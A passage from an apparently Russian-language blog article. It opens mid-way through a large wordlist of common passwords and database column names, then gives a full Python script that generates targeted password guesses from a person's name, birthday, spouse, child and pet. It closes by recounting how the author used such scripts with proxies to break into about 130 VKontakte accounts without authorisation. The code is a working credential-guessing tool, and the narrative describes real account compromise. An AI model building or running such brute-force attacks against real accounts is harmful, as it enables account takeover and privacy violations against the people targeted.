'bananas', 'sesskey', 'dinamo', 'swit2002', 'webuser', 'pe_aduser', 'western', 'rebelde', 'covidien', 'ilikeaol', 'jennifer', 'router', 'november', 'charity', 'mercedes', 'formula2', 'userPassword', 'paloma', 'qwerty123', '012345678qwerty', '%username%1234', 'Marvin', 'sporting', 'harrison', 'babylove', 'babies', 'kayleigh', 'miriam', 'rosita', 'domain', 'running', 'compton', 'raymond', 'SVCHOST', 'aurora', 'ronaldinho', 'village', 'madalina', 'company', 'pistaec', 'asdfasdf', 'maldita', '0123456qwerty', 'bubba1', 'excalibu', 'qwerty1981', 'robinzon', 'internet', 'export', 'gangsta', '55555555', 'cynthia', 'fireman', 'userid', 'candyman', 'klas1999', 'caramelo', 'michalex', 'stalone', 'sunflowe', 'babyko', 'angelo', 'BlackRaven', 'SPIDERMAN', 'Tinman', 'ph4nt0m', 'butterfly', 'tbl_users', 'cassie', 'login_admin', 'loveya', 'sports', 'admin_id', 'website', '123123', 'a1b2c3', 'ЙНПНМЮ', '111111', 'karina', 'michelle1', 'hello', 'mickeymouse', 'Guitar', 'COLUMB', 'Stocker', 'qwerty2011', 'scorpion', '1q2w3e4r5t6', 'NUMLOCK', '11223344', 'reznor', 'vietnam', 'sanchez', 'orlando', 'catdog', 'graphic', '789654', 'junjun', '7654321', 'qwe123456', 'sexsex', 'dilbert', 'mercury', 'admin_pass', 'andrea', 'cannon', 'kroywen', 'connect', 'ИТЪЖШВСБЯ', 'pineapple', 'cannibal', 'gothic', '!@#$%^&*()_+|', 'password1', 'christ', 'sexybabe', 'steaua', 'stormy', 'symantec', 'admsuper', 'christine', 'Kristi', 'lucky7', 'rockme', '123456789qwerty', 'asshole', 'camping', 'megaultra', 'eunice', 'wesley', 'Blaster', 'qscgyj', 'tennis', 'admin_userid', '1q2w3e4', 'nugget', 'tokiohotel', 'sampson', 'ricardo', 'bulldogs', 'italia', 'admin!', 'dbadmins', 'qwerasdf', 'admin_psw', 'Contact', 'DROWSSAP', 'dorothy', 'sundance', 'apple1', '777777', 'strelez', 'camila', 'asdasd', 'lektor', 'tattoo', 'ground', 'carolina', 'hockey', 'administrators', 'COSMOS', 'notabene', 'orange', 'cannonda', 'WIZARD', 'christin', 'justin1', 'martha', 'toronto', 'Miller', 'secrets', '@admin@', '][akep13', 'jeffrey', 'service', 'lionking', 'skypeout', 'Tennis', 'warrior', 'turtle', 'Strider', 'raiders', 'vermont', 'hop242', 'Hendrix', 'Whales', 'fuckyou1', 'jeromy', 'Goldie', 'narciss', 'guanliyuan', 'mortimer', 'prettygirl', 'hiphop', 'samuel', '666666', 'Jordan', 'peanut', '123qwert', 'gabriel', 'Flower', 'tb_admin', 'jerome', 'wolfgang', 'x_admin', 'powers', 'qwer1234', 'user_usrnm', 'lunita', 'nodnol', 'valentine', '010101', 'maurice', '12345qwert', 'zsxdcfv', 'Bastard', 'Christ', 'ЯНКМШЬЙН', 'jenifer', '11111', 'Pandemic', 'mustang', 'Marino', 'mb_users', 'n@poleon', 'ssssss', 'rangers', '212121', 'Teresa', 'marlon', 'breanna', 'michelle', 'minidixx', 'SIERRA', 'stephani', 'speedy', 'campbell', 'angelica', 'silver', 'damien', 'kaylee', 'moises', 'e_mail', 'person@l', 'portland', 'soulmate', 'DINOZAVT', 'joanne', '718293', 'newpass', 'lkjhgfdsa', 'download', 'passwrd', 'kolobok', 'Awesome', '654321', 'ssw0rd', 'webmaste', 'sophie', 'twinkle', 'Woodland', 'angeles', 'zasranez', 'adminpaw', 'fletch', 'player', 'user_uname', 'whitney', 'fugazi', 'Shadows', 'sylvia', 'q1w2e3r4', 'zxcdsa', 'pinkie', 'papito', 'clientpassword', 'medvedev', 'soledad', 'snapple', 'Trumpet', 'zacefron', 'qwert1234567', 'liverpool', 'seaman', 'Sweets', 'matrix', 'beckham', 'singer', 'hardcore', 'calvin', 'justin', 'arsenal', 'madison', 'adm1nistrator', 'spooky', 'mikael', 'w1w2w3w4', 'chelsea1', 'miranda2', 'Webmaster', 'qwerty01234567', 'kristina', 'member', 'reality', 'scarface', 'general', 'sagevsal', 'FLATRON', 'suzanne', 'Trinity', 'NITROGEN', 'mybaby', 'iloveu1', 'qwert1234', 'Denise', 's@d@m@z@', 'lucky13', 'angelito', 'adminuserid', 'david1', 'mozart', 'love13', 'nirvana', 'lonely', '951753', 'test', 'lorena', 'castle', 'photos', 'omarion', 'admin_login', 'lacrosse', 'yt1n1rt', 'mybb_users', 'Smiley', 'darkness', 'ASECHKA', 'elaine', 'MAMONT', 'MADONNA', '10tons', 'exploit', 'mem_passwd', 'jocelyn', 'cheyenne', '01234567', 'P@$$WORD', '1qaz@WSX', 'piglet', 'newton', 'qwerty987654321', 'adminuser', 'milagros', 'olivia', '55555', 'P@NTER@', 'colombia', 'preciosa', 'admin_passwd', 'Godmode', '31415926', 'escape', 'bamboo', 'hornet', 'clancy', 'calgary', 'Redskin', 'gangster', 'rovercar', '012qwerty', 'ne1469', 'qciretsam', 'Christop', 'Russell', 'm@$ter', 'california', 'Mittens', 'Sunshin', 'telephone', 'charlott', 'pandemic', 'Lindsay', 'afonja', 'Jessica', 'lostmind', 'gandako', 'ran-dom', '1p2o3i', 'morris', 'gemini', 'qwedsazxc', 'amormio', 'condor', 'LINUXOID', 'tblConfigs', 'piolin', 'script', 'parrot', 'Roping', 'qwerty1234567', 'knicks', 'siemens', 'atlanta', 'Defense', 'master', 'ihateu', 'formula1', 'horizon', '7777777', 'miller', 'cheer1', 'coolgirl', 'peterpan', 'adm1n1strator', 'adminmail', 'per$0n@l', 'stever', '123654', 'qazwsxedc', 'Reggie', 'tb_members', 'Covid19', 'zxcvbnm', 'tacobell', 'temp_pass', 'blonde', 'пароль', 'manuel', 'sandra', 'GLOBAL', '12345678qwerty', 'Pebbles', '12345678910qwerty', 'customers_password', 'reddog', 'chocolat', 'mahalkita', '123456qwe', 'ИЖСЙТШБЮ', 'asdffdsa', 'eXtremal', 'asdeasd', 'paulina', 'coyote', 'cassandra', 'Celtics', 'iv_sen', 'falloutboy', 'derrick', 'Shithead', 'stimpy', 'maincomputer', 'denmark', 'angela', 'Animals', 'robinhoo', 'genius', 'Ay8IPUtv5e', 'Puppies', 'pumpkin', 'Golden', 'valentin', 'brianna', 'gloria', 'sacret', 'dancer1', 'asdzxc', '30media', '8675309', 'Barney', 'mother', 'qwerty99', '960628', 'unknown', 'ilovegod', 'lincoln', 'MOBMAN', 'jellybean', 'ladybug', '113355', 'sab@k@', 'giovanni', 'beyonce', 'honeyko', 'Whateve', 'veronica', 'molesto', 'moocow', 'qwerty54321', 'yasmin', 'burewar', 'babygirl', '456789', 'database', 'melody', 'steven', 'giggles', '987654321', 'tyler1', '1234567qwerty1234567', 'temp_password', 'diamond', 'combrik', 'brown1', 'Gordon', '123456qwerty123456', 'per$0nal', 'p@ssw0rd', 'casper', 'mamita', 'westlife', 'beautiful', 'tblUser', 'sailing', '12qwerty', 'princess1', 'chester1', 'JUVENTUS', 'laurie', 'simone', 'rambler', 'starwars', 'alpine', '3904iurf', 'olololo', '555555', 'P@SSWORD', 'genetic', 'blondie', 'sayang', 'NITEBIRD', 'drowpa$$', 'skittles', 'accounts', 'Barbie', 'wedding', 'animal', '123654789', 'yankees', 'liverpoo', 'Harvey', 'timber', 'belinda', 'chance', 'howard', 'user123', 'brandi', '@admin', 'qwerty12345678', 'beanie', 'isaiah', 'alexandra', 'roxanne', 'MISTIC', 'secret', 'wrangler', 'semantec', 'bitches', 'Patches', 'qwe321', 's@pretne', 'eugene', 'tanner', 'russia2018', 'winnie', 'walker', 'microsoft', 'willie', 'wwwyaru', '11111111', 'covid2019', 'time2be', 'propusk', 'safety', 'wheeling', 'Center', 'AGAINST', 'Abcdefg', 'camera', 'COMMAND', 'dougie', 'elizabet', 'snuggles', '561989', 'mariel', '123456QQAqqa_', 'goober', 'kopernik', 'PLATON', 'office', 'nofear', 'feedback', 'crazy1', 'gwapako', '332211', 'cooladmin', 'bestfriends', 'iloveyou1', '12345678', 'jeanette', 'beaver', 'thunderb', 'f@ntom@s', 'alejandro', 'C0L0RaD0', 'goforit', 'OCCUPIED', 'gabber', 'hearts', '19weed', 'william', 'BLACKMAN', 'fatefull', 'Florida', 'QwerUQwerU', 'myspace', 'special', '999999', 'spider', 'pauline', 'Hershey', 'digital1', 'nopass', 'FRIDAY13', 'aliens', 'rebmem', 'unlimit', 'tweety', 'Sampler', 'baby123', 'BvtTest123', 'fuck-you', 'horses', 'Denver', 'lizard', 'alpha1', 'danger', 'scarlet', 'someone', 'reguser', 'robert', 'server', 'Slayer', 'castrat', 'moonson', 'alexandru', 'modified', 'wowecarts@123', 'janine', 'future', 'Shirley', 'silvia', 'sherry', 'passw0rd', 'Garrett', 'UNREAL', 'zxcvbn', 'qwertyu', 'midori', 'adriana', 'Golfer', 'rayray', 'qwerty0123456', 'Swimmer', 'javier', 'juancarlos', 'raquel', 'lindsay', 'maymay', 'ARTEFACT', 'dexter', 'arnold', 'random', 'Yellow', 'sebastian', 'simpleplan', 'america', 'mozilla', 'mystica', 'segment', 'tb_administrator', 'shelly', 'Goalie', 'sweets', 'qwerty321', ')4ever', 'muffin', 'marius', 'ArticleID', 'sweet16', 'Gopher', 'SPARTAK', 'esrevinu', '%username%12', 'formula3', 'ohmygod', 'ashleigh', 'carmen', 'VACATION', 'melanie', 'matthew', 'nichole', 'chicago', 'hamster', 'CLEVER', 'austin1', 'cactus', 'sartir', 'network', 'mahalkoh', 'flower', 'iverson3', 'monkey1', '181818', 'frankie', 'rodriguez', 'admin123', 'chapman', 'ironman', 'pikachu', 'sadistic', 'jeremiah', '321654', 'wildcats', 'Racing', '4897798', 'pictures', 'scotland', '012345', 'director', 'trilogy', 'chanel', 'SUNRISE', 'pamela', 'tinker', 'grinch', 'reynolds', 'unknovn', 'montreal', 'qwerty88', 'brownie', 'Kombat', 'preston', 'james1', 'stacey', 'Gymnast', '00090009', 'donkey', 'Cassie', 'n@p0le0n', 'bridge', '321adc', 'raptor', 'SHAKUR', 'METALIKA', 'memberid', '789456', 'Amanda', 'front242', 'einstein', 'galileo', 'Masters', 'jazmin', 'justice', 'agresive', 'harley', 'mpassword', 'tfarcraw', 'zaxscdvfbg', '121212', 'Paladin', 'admin_user', 'qwerty1990', 'Picard', 'williams', 'nathaniel', 'jensen', 'steelers', 'froggy', '100500', 'manager', 'tb_username', 'vb_user', 'forineli', 'ph@ntom', 'warren', 'callum', 'mempassword', 'shalom', 'brooklin', 'savage', 'mouse1', 'lawrence', 'kristen', 'nicholas', 'warner', '@dministrator', '1q2w3e4r5t', 'CAUTION', 'evilmind', 'sex+love', 'homebrew', 'SPIDER', 'support', 'matter', 'nelson', 'люблю', 'element', 'heaven', 'lolita', 'poiuyt', 'lilmama', '_other_', 'Michell', 'qwertyqwerty', 'diamond1', 'coltrane', 'nenita', 'peewee', 'protel', 'rainbow', 'angel1', '][aker', 'warriors', 'uoykcuf', 'flym0de', 'mike123', '4321qwerty', 'gabriell', 'JACKSON', 'katherine', 'warcraft', 'autumn', 'husband', 'diesel', 'Cancer', 'bullet', 'little', 'Shelly', 'dragons', 'QWERTY', 'zaxscdvf', 'fuck-off', 'rockstar', 'Apples', '}{aker', 'SATAN666', 'Tanker', 'badger', 'Covid2020', 'Casper', 'franklin', 'sheila', 'golden', 'bloods', 'tbl_user', 'kathleen', 'Spiritwear_2004', 'administrator1', 'Hawkeye', 'loving', '12121212', 'galaxy', 'blinked', 'padonok', 'fuckoff', 'dookie', 'february', 'snickers', 'ronaldo', 'EdomdoG', 'Elaine', 'sb_pwd', 'Wicked', '456123', 'md5hash', 'rocket', '12344321', 'Letter', 'VUDUMAN', 'byteme', 'GOODWISH', 'solnyshko', 'evelyn', 'pookie', 'canela', 'k.,jdm', 'revoemag', 'fernando', 'MATRIX', 'servpass', 'maddie', 'kingdom', 'evolxes', 'marilyn', 'twilight', 'mission', '1234567890', 'qwert123456', '24crow', 'sexygirl', '123123123', 'lakers', 'sparky', '1234rewq', 'Alexxxx', 'Chipper', 'avatar', 'qqqqqqqq', 'qwert12345', 'theking', 'usrnam', 'cyfqgth', 'admin_username', 'peanut1', 'bluddy', 'united', '87654321', 'bitch123', 'antonio', 'fluffy', 'westeast', 'poiuytr', 'Pyramid', 'PRODIGY!', 'Scooby', 'support2', 'drpepper', 'python', 'painter', 'property', '010203', 'forest', 'passer', 'q1w2e3', 'validpas', 'cupcake', 'mendoza', 'monica', 'pink123', 'qwerfv', 'patricia', 'admin1', 'simpsons', 'bubble', 'allyson', 'Huskers', 'hjccnz', 'lollypop', 'chocolate', 'TOMORROW', 'george', 'cookies', 'Nathan', 'poison', 'ireland', 'barcelona', 'kucing', 'zasranec', 'savannah', 'tyrone', 'carebear', 'memory', 'SURPRISE', 'sniper', 'falcon', 'MEVERICK', 'FORMATC:', 'sasa321', 'soto4ka', '321321', 'ОПХБЕР', 'butcher', 'SHIFTALT', '123456789qwerty123456789', 'manman', 'express', 'alexandr', 'q1w2e3r', 'kristine', 'q1w2Q!W@', 'adminserver', 'Alyssa', 'ilovejesus', 'userpass', 'qwerty01', 'q1w2e3r4t5y', 'zaq1xsw2', 'Dreams', 'u_pass', 'sanyok', 'sapretne', 'sydney', 'Badboy', 'francisco', 'crazyman', 'datacenter', 'cricket', 'pickles', 'precious', 'travis', 'Compaq', 'apples', 'fashion', 'rambo1', 'celeron', 'p@$$vord', 'klaster', 'october', 'volcom', 'familia', 'smiths', 'Administrateur', 'ЮМДПЕИ', 'Margulya', 'apollo', 'Studly', 'Spanish', 'E-mail', 'memphis', 'arturo', 'Petunia', 'OVERCLOK', 'андрей', 'chivas', 'skiing', 'garden', 'Spanky', 'cuddles', 'bitch@', 'scorpio', 'mirror', 'qwedsa', 'trisha', 'public', 'settings', 'cunning', 'poohbear', 'student', 'kingkong', 'January', 'roxana', 'septic', 'armando', 'Theman', 'JAYSON', 'guitar', 'mypass', 'q1w2e3r4t5', 'ONLINE', 'Raiders', 'hctib321', 'Tigers', 'kelly1', 'valeria', 'knopka', 'Wrestle', 'canada', '852456', 'Cracker', 'target', 'bestfriend', 'WINDBURN', 'tomcat', 'cruise', 'giants', 'login_pwd', 'f1f2f3f4', 'Buffalo', 'ИЖСЙЕМЦЬЫГ', 'Reefer', 'violet', 'mudofil', 'teresa', 'alexander', 'pa$$vord', '789456123', 'hellokitty', 'cuties', 'coronavirus19', 'margaret', 'Google', 'rotfront', 'stuart', 'mountain', 'louise', 'MICHELIN', 'candy1', 'ornery', 'Superuser', 'montana', 'december', 'estrella', 'theboss', 'moroni', 'dreamer', 'qip12345', 'dekart', 'evol+xes', 'NORRIS', 'pierre', 'skippy', 'soccer', 'per$onal', 'bulldog', 'invizibl', 'realmadrid', 'garfield', 'Internet', 'leelee', 'gretzky', 'fdsarewq', 'dancing', 'Basebal', 'snayiclfv', 'School', 'Jester', 'ELECTRO', '5201314', 'fantomas', 'midnight', 'nicarao', 'Royals', 'Volleyb', 'zzzzzz', 'fresita', 'rockyou', 'Krystal', 'BILLGATE', 'trevor', 'celine', 'canced', '012345qwerty', 'sylvie', 'hotpink', 'Aggies', '][akep', 'freedom', 'Buddha', 'babyface', 'dodger', 'nummer', 'spring', 'MYICQ╧', '252525', 'rekax321', 'parker', 'Except', 'changeme', 'winter', 'dundee', 'AdminUID', 'Panther', 'password', 'TIMEOUT', 'brigada', 'Lakers', 'nazareth', 'sweetheart', '753951', 'icecream', 'temppasword', 'yolanda', 'lacoste', 'flower1', 'boogie', 'entropy', 'always', 'basketba', '//RaZOR', 'Golfing', 'scotch', 'hunter1', 'jesus1', '357951', 'onelove', 'ytinrete', 'spongebob1', 'go2fuck', 'sukinsin', 'login_pw', 'eskander', 'crawford', 'adminname', 'procesor', 'westside', 'leanne', 'hailey', 'qwerty1', '21122112', 'kennedy', 'rangers1', 'pollito', 'alicia', 'lovergirl', 'tazmania', 'dfcvxv', 'MIRABLIS', 'Maveric', 'Starwars', 'abcdefg', '1212121212', 'albert', 'qwertyuiop', 'jenny1', 'xswqaz', 'madison1', 'fabian', 'theresa', 'ib6ub9', 'KASPER', 'covid1984', 'HOTMAIL', 'cherry', 'shorty1', 'aretnap', 'Ripper', 'cxzdsaewq', '0123456789qwerty', 'audrey', '12345qwerty', 'password123', 'Bubbles', 'Chucky', 'MASACRE', 'MEXICO', '101010', 'zachary', 'maxwell', 'watson', 'skeeter', 'basketball', 'liberty', 'user_admin', 'Hunting', 'ivanov', 'smiley', 'user_email', 'gilbert', '0123456', 'london', '6PISTOLS', 'webmasters', 'burger', 'ashton', '147258369', 'bermud', 'Doobie', 'ZONE51', 'manchester', '369852147', 'hunter', 'ЩОХДЕЛХЪ', 'p@svord', 'Webster', '@system', 'regina', 'fuckme', 'Userlogin', 'rooney', 'llawerif', 'football1', 'Password', 'Angela1', 'Avital', 'lovebug', 'zxcdsa22', 'OUTPOST', '%username%', 'Junebug', 'banana', 'monique', '%username%123', 'client', 'Lindsey', 'portugal', 'username', 'qwerty22', 'ferret', 'iceman', 'lomakin', 'a_admin', 'natasha', 'dreams', 'friendship', 'panget', 'p@$$w0rd', '147852', 'grateful', 'deutsch', 'elizabeth', 'SITELOGIN', 'hotmail', 'asdfjkl;', 'chairman', '!@#$%^', 'bigmac', 'Flipper', 'contenu', 'flowers', 'cc_owner', '0000000000', 'oranges', 'money1', 'livetest', 'slayer', 'fernanda', 'khekkly', 'virginia', 'f1refox', 'patches', 'yvonne', 'usernames', 'amsterdam', '321qwerty', 'digital', 'jasmin', 'qwerty66', 'Basketb', 'Iceman', '!@#$%^&*()', 'pidaras', 'Skater', 'bubbles1', 'delfin', '159753', 'kittycat', 'bootsie', 'jupiter', 'NTLOADER', 'qwe123', 'natalia', 'olivier', 'Dallas', 'WebAdmin', 'Rabbit', 'Dolphin', '124578', 'my_username', 'battle', 'nooone', 'iguana', 'simple', 'ornament', 'garnet', 'un1verse', 'stephanie', 'zapata', '012345678910qwerty', 'Zombie', 'clientusername', 'church', 'beware', 'tagged', 'Kittens', 'lovers', 'scoobydoo', 'retsam', 'a123456', 'hayley', 'mantra', 'history', 'anthony1', 'planet', 'johncena', 'samantha', '141414', 'lucero', 'awesome', '12345678910', 'captain', 'bobcat', 'allison', 'merlin', 'herman', 'MUSTDIE', 'badgirl', '_nick_', 'babygirl1', 'dollars', 'pimpin', 'fiction', 'user_password', 'shirley', 'alejandra', 'pass123', 'm_admin', '12qwaszx', 'andrew1', 'q1w2e3r4t', 'nechto', 'smokey', '1q2w3e', 'thuglife', 'qwerty77', '1sanjose', 'ihateyou', 'netware', 'benson', 'bertha', 'catarina', 'caroline', 'Snicker', 'Sonics', 'h_admin', 'cameron', 'pussycat', 'sdfcvxv', 'qwert12', 'prince', 'Sarah1', 'chemistry', 'Blondie', 'Scarlett', 'Sandman', 'wombat', 'Blackie', 'swimming', 'shelby', 'macmac', 'active', 'myserver', 'shumaher', 'Peaches', 'lokita', 'DEICIDE', 'Country', 'morgan', 'research', 'edward', 'ffffff', '12345a', '202020', 'peaches', 'ИТЪЖШВ', 'admin_name', 'island', 'harrypotter', 'leonard', 'clients', 'tables', 'usuario', '1qw23er45ty67u', 'zaphod', 'poohbear1', 'gerardo', 'nicole', 'windsurf', 'wilson', 'bambam', 'baller', 'carlitos', 'seattle', 'gabriela', '123456789qwert', 'vincent', 'bernard', 'garcia', 'STALIN', '142536', 'qwerty654321', 'compaq', 'goldfish', 'lovely', 'German', 'Brazil', 'rocker', 'DYNAMIC', 'asdfghjk', 'qwerty0123', 'boston', 'police', 'delete', 'orbital', 'bigboy', 'design', 'vanessa', 'fletcher', 'moksana', 'Gambit', 'VERITAS', 'AUTOMOTO', '122333', 'cutie1', 'ZAGADKA', 'johnson', 'thursday', 'Russia', 'mylove', 'stingray', 'rekax123', 'wicked', 'passion', 'cardinal', 'console', 'catherine', 'mailer', 'titanic', 'admpro', 'BIGMUZZY', 'Porsche', 'qwerty012345', 'brandon', 'joshua', 'gibson', 'playboy', 'logins', 'p@ntera', 'danielle', 'customers', 'charmed', 'hootie', 'windowsxp', 'America', '098765', 'MIR@ND@', 'butter', 'garlic', 'campanita', 'clas1999', 'MITNYK', 'andrei', 'shamber', 'alaska', 'seagal', 'Scotty', 'picasso', '1234560', 'bridges', 'richie', 'R.GILL', 'qwerty55', 'Trouble', 'butler', 'qwerty12', 'BONJOVI', 'Sammie', 'marcus', 'mexico', 'cutiepie', 'marian', 'amanda1', 'bigdaddy', 'nissan', 'SUBSEVEN', 'mayday', 'buddy1', 'myusername', 'sitelogins', 'hello1', 'NTOSKRNL', 'PRODIGY', 'remote', 'gooood', 'qwerty666', 'obiwan', 'reverse', 'bismillah', 'hello123', 'zsxdcfvg'} # 100 most popular passwords TOP_PASSWORDS = {'12345678', 'qwerty123', '12345', 'qwerty1', '123456', '123321', 'qwerty', 'asdasd123', '123456789', 'asdasd', 'qqqqqq'}  max_count_default = 1000000 max_count_main_default = 2   def prompt(txt):     return str(input(txt)) def fullname(fname, lname):     return ['{}{}'.format(a, b) for a in cases(fname) for b in cases(lname)] + ["{}_{}".format(a, b) for a in cases(fname) for b in cases(lname)] def cases(word):     return [word.lower(), word.title()]   class PassGen:      def __init__(self, max_count=max_count_default, max_count_main=max_count_main_default, silent=False):         self.pet = None         self.child = None         self.spouse = None         self.target = None         self.passwords = set()         self.passwords_not_sorted = list()         self.silent = silent         self.max_count = max_count         self.max_count_main = max_count_main      @staticmethod     def question(target):         answers = {}          answers['firstname'] = prompt('Enter {}\'s first name: '.format(target))         answers['lastname'] = prompt('Enter {}\'s last name: '.format(target))         answers['nickname'] = prompt('Enter {}\'s nick name: '.format(target))          while True:             bday = prompt('Enter {}\'s birthday (dd.mm.yyyy): '.format(target))              if not len(bday.strip()):                 break              if len(bday.split('.')) != 3:                 print('Invalid birthday format\n')                 continue              for _ in bday.split('.'):                 if not _.isdigit():                     print('Birthday only requires numbers\n')                     continue              dd, mm, yyyy = bday.split('.')              if int(mm) > 12 or int(mm) < 1 or int(dd) > 31 or int(dd) < 1 or len(yyyy) != 4:                 print('Invalid birthday\n')                 continue              bday = {'day': dd, 'month': mm, 'year': int(yyyy)}             break          answers['birthday'] = bday         return answers      def _add(self, password):         if password not in self.passwords:             self.passwords.add(password)             self.passwords_not_sorted.append(password)     def format_names(self):         for _ in range(self.max_count_main):             if not self.silent:                 print(f'Generated: {len(self.passwords)}', end='\r')              iters = 0             for data in [self.target, self.spouse, self.child, self.pet]:                 if data['birthday']:                     for i in (                             "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['year']),                             "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], str(data['birthday']['year'])[2:]),                             "{}{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['day'], data['birthday']['month']),                     ):                         self._add(i)                 for n in ['firstname', 'lastname', 'nickname']:                      fullname_list = []                     name = data[n].strip()                      if not len(name):                         continue                      if not iters:                         fullname_list = fullname(data['firstname'], data['lastname'])                         iters += 1                      for word in cases(name) + fullname_list:                          for i in ('{}{}'.format(word, _),                                   '{}{}'.format(_, word),                                   '{}{}!'.format(word, _),                                   '{}{}.'.format(word, _),                                   ):                             if i not in self.passwords: self._add(i)                          bday = data['birthday']                          if bday:                             for i in (                                 '{}{}'.format(word, bday['year']),                                 '{}{}!'.format(word, bday['year']),                                 '{}{}'.format(bday['year'], word),                                 '{}{}'.format(word, str(bday['year'])[2:]),                                 '{}{}{}{}'.format(word, bday['year'], bday['month'], bday['day']),                                 '{}{}{}{}'.format(word, str(bday['year'])[2:], bday['month'], bday['day']),                                 '{}{}{}{}'.format(word, bday['day'], bday['month'], str(bday['year'])[2:]),                                 '{}{}{}{}'.format(word, bday['day'], bday['month'], bday['year']),                                 '{}{}{}'.format(word, bday['day'], bday['month']),                                 '{}{}{}{}'.format(bday['day'], bday['month'], bday['year'], word),                             ):                                 self._add(i)      def generator(self, ignore_additional=True, write=True):         if not self.silent:             print('Generating main passwords... \nIt\'s may take a while.')         self.format_names()         if not self.silent:             print("...generated {} main passwords".format(len(self.passwords_not_sorted)), end='\r')         for i in TOP_PASSWORDS:             self._add(i)         if not self.silent:             print("...generated {} popular passwords".format(len(self.passwords_not_sorted)), end='\r')         output_file = '{}.txt'.format(self.target['firstname'].lower()                              if self.target['firstname'] else 'pass.txt')         if write:             with open(output_file, 'wt', encoding='utf-8') as f:                 for pwd in self.passwords_not_sorted:                     if not self.silent:                         print('Writing ...')                     f.write('{}\n'.format(pwd))              if not ignore_additional:                 if not self.silent:                     print("Generating additionals combinations...")                 with open(output_file, 'at', encoding='utf-8') as f:                     i = 0                     while i < self.max_count:                         if not self.silent:                             print('Writing additional combinations ... {}/{}'.format(i*3, self.max_count*3),end='\r')                         f.write('{}{}\n'.format(self.target['firstname'], i))                         f.write('{}{}\n'.format(self.target['lastname'], i))                         f.write('{}{}\n'.format(self.target['nickname'], i))                         i += 1                 if not self.silent:                     print("...generated {} additional combinations".format(self.max_count*3))          if not self.silent:             print('Passwords Generated in file: {}'.format(output_file))   def parse_cmd_args(argv):     parser = argparse.ArgumentParser(description='Run password generator')     parser.add_argument('--ignore-additional', dest='ignore_additional', default=False,                         help='ignore additions combinations')     parser.add_argument('--max-count', dest='max_count', default=max_count_default,                         help='maximum count for additional combinations')     parser.add_argument('--max-count-main', dest='max_count_main', default=max_count_main_default,                         help='maximum count for main combinations')     parser.add_argument('--silent', dest='silent', action='store_true',                         help='no print process (faster)')     parser.set_defaults(ignore_additional=False)     parser.set_defaults(silent=False)     args = parser.parse_args(argv[1:])     return args   if __name__ == '__main__':     args = parse_cmd_args(sys.argv)     p = PassGen(         max_count=int(args.max_count),         max_count_main=int(args.max_count_main),         silent=args.silent     )     p.target = p.question('target')     p.spouse = p.question('spouse')     p.child = p.question('child')     p.pet = p.question('pet')      p.generator(ignore_additional=args.ignore_additional) 

За основу взят этот скрипт

Вот пример того, что генерирует скрипт (все совпадения случайны, это просто пример)

Возможные пароли Марии Кузнецовой 01.02.2000г
01022000 010200 01020102 maria0 0maria maria0! maria0. maria2000 maria2000! 2000maria maria00 maria20000201 maria000201 maria010200 maria01022000 maria0102 01022000maria Maria0 0Maria Maria0! Maria0. Maria2000 Maria2000! 2000Maria Maria00 Maria20000201 Maria000201 Maria010200 Maria01022000 Maria0102 01022000Maria mariakuznecova0 0mariakuznecova mariakuznecova0! mariakuznecova0. mariakuznecova2000 mariakuznecova2000! 2000mariakuznecova mariakuznecova00 mariakuznecova20000201 mariakuznecova000201 mariakuznecova010200 mariakuznecova01022000 mariakuznecova0102 01022000mariakuznecova mariaKuznecova0 0mariaKuznecova mariaKuznecova0! mariaKuznecova0. mariaKuznecova2000 mariaKuznecova2000! 2000mariaKuznecova mariaKuznecova00 mariaKuznecova20000201 mariaKuznecova000201 mariaKuznecova010200 mariaKuznecova01022000 mariaKuznecova0102 01022000mariaKuznecova Mariakuznecova0 0Mariakuznecova Mariakuznecova0! Mariakuznecova0. Mariakuznecova2000 Mariakuznecova2000! 2000Mariakuznecova Mariakuznecova00 Mariakuznecova20000201 Mariakuznecova000201 Mariakuznecova010200 Mariakuznecova01022000 Mariakuznecova0102 01022000Mariakuznecova MariaKuznecova0 0MariaKuznecova MariaKuznecova0! MariaKuznecova0. MariaKuznecova2000 MariaKuznecova2000! 2000MariaKuznecova MariaKuznecova00 MariaKuznecova20000201 MariaKuznecova000201 MariaKuznecova010200 MariaKuznecova01022000 MariaKuznecova0102 01022000MariaKuznecova maria_kuznecova0 0maria_kuznecova maria_kuznecova0! maria_kuznecova0. maria_kuznecova2000 maria_kuznecova2000! 2000maria_kuznecova maria_kuznecova00 maria_kuznecova20000201 maria_kuznecova000201 maria_kuznecova010200 maria_kuznecova01022000 maria_kuznecova0102 01022000maria_kuznecova maria_Kuznecova0 0maria_Kuznecova maria_Kuznecova0! maria_Kuznecova0. maria_Kuznecova2000 maria_Kuznecova2000! 2000maria_Kuznecova maria_Kuznecova00 maria_Kuznecova20000201 maria_Kuznecova000201 maria_Kuznecova010200 maria_Kuznecova01022000 maria_Kuznecova0102 01022000maria_Kuznecova Maria_kuznecova0 0Maria_kuznecova Maria_kuznecova0! Maria_kuznecova0. Maria_kuznecova2000 Maria_kuznecova2000! 2000Maria_kuznecova Maria_kuznecova00 Maria_kuznecova20000201 Maria_kuznecova000201 Maria_kuznecova010200 Maria_kuznecova01022000 ......... .........

Таким образом были написаны несколько скриптов (все ссылки внизу статьи — она и так уже очень засорена), реализуещих эту идею, и вот их примерные результаты:

  • Скорость перебора достигала 60 паролей в секунду

  • за 12 часов ночной работы на моём домашнем компьютере (интернет=100мбит) с использованием 15 прокси были «намайнены» 130 валидных аккаунтов (и ещё в районе 300 со включенной двухфакторкой). Естественно потом я предупредил их владельцев о том, что их пароль слишком слабый, и удалил все незаконно полученные данные.

  • Примерно у 5% пользователей ВКонтакте указан номер телефона и примерно у 3% из них пароль содержится в наборе из 2000 сгенерированных символов (наиболее популярна комбинация [Nn]ame[bdate][specsymbol] - например, «Пупкин2003», или «masha1!»

Пример работы скрипта в 1 thread'e. На 100 процессах скорость в 100 раз больше :)

Пример работы скрипта в 1 thread’e. На 100 процессах скорость в 100 раз больше 🙂

И да, я думал насчёт того, чтобы написать в BugBounty, но… Во-первых, у меня уже был негативный опыт, а, во-вторых, о чём писать? О том, что у вас плохая капча? А брутфорс аккаунтов является невполнезаконным, так что я забросил эту идею (меня пару раз с похожим уже посылали).

На последок

